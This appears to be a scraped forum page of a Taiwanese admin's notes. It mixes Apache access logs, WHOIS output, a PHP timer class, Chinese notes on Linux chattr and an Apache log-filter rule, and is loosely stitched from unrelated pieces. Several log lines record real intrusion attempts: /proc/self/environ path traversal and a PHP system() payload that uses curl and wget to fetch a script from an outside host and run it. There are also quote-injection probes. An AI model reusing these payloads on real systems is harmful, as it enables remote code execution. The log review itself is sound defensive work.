1
這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。
211.79.61.8 - - [06/Jul/2010:03:13:15 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [02/Oct/2010:05:04:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [03/Oct/2010:04:51:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [04/Oct/2010:05:21:03 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [05/Oct/2010:05:23:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [06/Oct/2010:05:44:35 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [07/Oct/2010:05:33:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [08/Oct/2010:05:13:09 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [09/Oct/2010:05:50:36 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [10/Oct/2010:05:41:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Oct/2010:05:36:53 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Oct/2010:06:09:32 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Oct/2010:06:29:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Oct/2010:06:06:34 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Oct/2010:06:05:52 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [16/Oct/2010:05:56:56 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Oct/2010:05:27:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Jan/2011:12:43:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Jan/2011:13:00:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Jan/2011:13:00:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Jan/2011:12:32:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Jan/2011:13:12:25 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Jan/2011:10:39:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [18/Jan/2011:10:24:22 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [19/Jan/2011:09:29:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [20/Jan/2011:08:59:16 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [21/Jan/2011:07:52:49 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [22/Jan/2011:07:29:18 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [23/Jan/2011:06:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [24/Jan/2011:05:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [25/Jan/2011:05:06:37 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
address: No.7, R Road VI Hsinchu Science-Based Industrial Park(新竹科學工業園區)
address: Hsinchu, Taiwan , R.O.C
country: TW
<?php
require_once( './Timer.php' );
$timer = new Timer();
$timer->start(); // 設定開始標籤
for ($i = 0; $i < 10000000; $i++);
$timer->stop(); // 設定結束標籤
$timer->display();
?>
<?php
class Timer {
private $markers;
public function __construct() {
$this->markers = array();
}
public function start() {
$this->setMarker('Start');
}
public function stop() {
$this->setMarker('Stop');
}
public function setMarker($name) {
$this->markers[$name] = $this->_getMicrotime();
}
public function _getMicrotime() {
$microtime = explode(' ', microtime());
return $microtime[1].substr($microtime[0], 1);
}
public function timeElapsed($start = 'Start', $end = 'Stop') {
if ($end == 'Stop' && !isset($this->markers['Stop'])) {
$this->markers['Stop'] = $this->_getMicrotime();
}
if (extension_loaded('bcmath')) {
return bcsub($this->markers[$end], $this->markers[$start], 6);
} else {
return $this->markers[$end] - $this->markers[$start];
}
}
public function display() {
print $this->timeElapsed();
}
}
?>
1.346862
188.40.87.9 - - [28/May/2010:14:03:22 +0800] "GET /forum/index.php?/topic/3152-%E8%87%AA%E5%8B%95%E8%BD%89%E5%9D%80indexphp//mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 77980 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
188.40.87.9 - - [28/May/2010:14:03:25 +0800] "GET //mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 261 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:29:52 +0800] "GET /forum/index.php?/topic/3477-ipb-221%E7%99%BC%E4%BD%88%E6%9B%B4%E6%96%B0//lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 103121 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:29:55 +0800] "GET //lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 284 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
217.16.18.219 - - [01/Jun/2010:17:50:13 +0800] "GET /forum/index.php?app=calendar&module=calendar&cal_id=2&do=newevent&formtype=range/lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 35761 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"
OOO.OOO.OOO.OOO - - [05/May/2010:07:37:38 +0800] "GET /forum/index.php?/topic/10231-%e4%b8%ad%e6%96%87%e5%ae%89%e8%a3%9d%e5%95%8f%e9%a1%8c/page__pid__12656__st__0 HTTP/1.1" 200 23641 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"
OOO.OOO.OOO.OOO - - [05/May/2010:15:30:07 +0800] "GET /forum/index.php?/topic/8438-%e7%b6%93%e7%94%b1%e7%b6%b2%e7%ab%99%e5%85%b6%e5%ae%83%e4%b8%bb%e9%a0%81%e4%be%86%e7%99%bb%e5%85%a5%e8%ab%96%e5%a3%87/page__view__findpost__p__10824 HTTP/1.1" 302 20 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"
註冊局 WHOIS 主機 : whois.ripe.net:43
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
OrgName: RIPE Network Coordination Centre
OrgID: RIPE
Address: P.O. Box 10096
City: Amsterdam
StateProv:
PostalCode: 1001EB
Country: NL
ReferralServer: whois://whois.ripe.net:43
NetRange: 92.0.0.0 - 92.255.255.255
CIDR: 92.0.0.0/8
NetName: 92-RIPE
NetHandle: NET-92-0-0-0-1
Parent:
NetType: Allocated to RIPE NCC
NameServer: NS-PRI.RIPE.NET
NameServer: NS3.NIC.FR
NameServer: SUNIC.SUNET.SE
NameServer: SNS-PB.ISC.ORG
NameServer: SEC1.APNIC.NET
NameServer: SEC3.APNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS2.LACNIC.NET
Comment: These addresses have been further assigned to users in
Comment: the RIPE NCC region. Contact information can be found in
Comment: the RIPE database at http://www.ripe.net/whois
RegDate: 2007-03-27
Updated: 2009-05-18
# ARIN WHOIS database, last updated 2010-06-29 20:00
# Enter ? for additional hints on searching ARIN's WHOIS database.
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at https://www.arin.net/whois_tou.html
#
# Attention! Changes are coming to ARIN's Whois service on June 26.
# See https://www.arin.net/features/whois for details on the improvements.
...
...
...
inetnum: 92.60.176.0 - 92.60.176.127
netname: WNET-Odessa
descr: Wnet-Odessa-Colo
country: UA
admin-c: WNET2-RIPE
tech-c: WNET2-RIPE
status: ASSIGNED PA
mnt-by: WNET-MNT
source: RIPE # Filtered
...
...
...
58.60.14.231 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/ HTTP/1.1" 200 168375 "http://ipb.tw/forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 104744 "http://ipb.tw/forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 191724 "http://ipb.tw/forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6' HTTP/1.1" 200 105516 "http://ipb.tw/forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:59 +0800] "GET /forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 150130 "http://ipb.tw/forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69§ion=post&t=131 HTTP/1.1" 200 96862 "http://ipb.tw/forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69§ion=post&t=131" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:04 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:06 +0800] "GET /forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 160917 "http://ipb.tw/forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 149241 "http://ipb.tw/forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 153579 "http://ipb.tw/forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'§ion=rate HTTP/1.1" 200 12 "http://ipb.tw/forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'§ion=rate" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 112145 "http://ipb.tw/forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 191697 "http://ipb.tw/forum/index.php?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 160197 "http://ipb.tw/forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 136988 "http://ipb.tw/forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 107665 "http://ipb.tw/forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1 HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628 HTTP/1.1" 200 151985 "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 102175 "http://ipb.tw/forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 101922 "http://ipb.tw/forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:15 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0§ion=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0§ion=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 151175 "http://ipb.tw/forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:17 +0800] "GET /forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917 HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:19 +0800] "GET /forum HTTP/1.1" 301 284 "http://ipb.tw/forum" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 138677 "http://ipb.tw/forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
......
......
......
[root@www ~]# chattr [+-=][ASacdistu] 檔案或目錄名稱
選項與參數:
+ :增加某一個特殊參數,其他原本存在參數則不動。
- :移除某一個特殊參數,其他原本存在參數則不動。
= :設定一定,且僅有後面接的參數
A :當設定了 A 這個屬性時,若你有存取此檔案(或目錄)時,他的存取時間 atime
將不會被修改,可避免I/O較慢的機器過度的存取磁碟。這對速度較慢的電腦有幫助
S :一般檔案是非同步寫入磁碟的(原理請參考第五章sync的說明),如果加上 S 這個
屬性時,當你進行任何檔案的修改,該更動會『同步』寫入磁碟中。
a :當設定 a 之後,這個檔案將只能增加資料,而不能刪除也不能修改資料,只有root
才能設定這個屬性。
c :這個屬性設定之後,將會自動的將此檔案『壓縮』,在讀取的時候將會自動解壓縮,
但是在儲存的時候,將會先進行壓縮後再儲存(看來對於大檔案似乎蠻有用的!)
d :當 dump 程序被執行的時候,設定 d 屬性將可使該檔案(或目錄)不會被 dump 備份
i :這個 i 可就很厲害了!他可以讓一個檔案『不能被刪除、改名、設定連結也無法
寫入或新增資料!』對於系統安全性有相當大的助益!只有 root 能設定此屬性
s :當檔案設定了 s 屬性時,如果這個檔案被刪除,他將會被完全的移除出這個硬碟
空間,所以如果誤刪了,完全無法救回來了喔!
u :與 s 相反的,當使用 u 來設定檔案時,如果該檔案被刪除了,則資料內容其實還
存在磁碟中,可以使用來救援該檔案喔!
注意:屬性設定常見的是 a 與 i 的設定值,而且很多設定值必須要身為 root 才能設定
#man chattr
ATTRIBUTES
When a file with the 'A' attribute set is accessed, its atime record is
not modified. This avoids a certain amount of disk I/O for laptop sys-
tems.
A file with the `a' attribute set can only be open in append mode for
writing. Only the superuser or a process possessing the
CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
# chattr +a test
# lsattr
-----a------------- ./test.............................
SetEnvIf Remote_Addr "66\.249\.67\." dontlog
............................
.............................
.............................
CustomLog /var/log/apache2/access.log combined env=!dontlog
...................................
ErrorLog /var/log/apache2/error.log
ERROR
The requested URL could not be retrieved
While trying to retrieve the URL: http://linux.vbird.org/
The following error was encountered:
* Connection Failed
The system returned:
(110) Connection timed out
The remote host or network may be down. Please try the request again.
Your cache administrator is webmaster.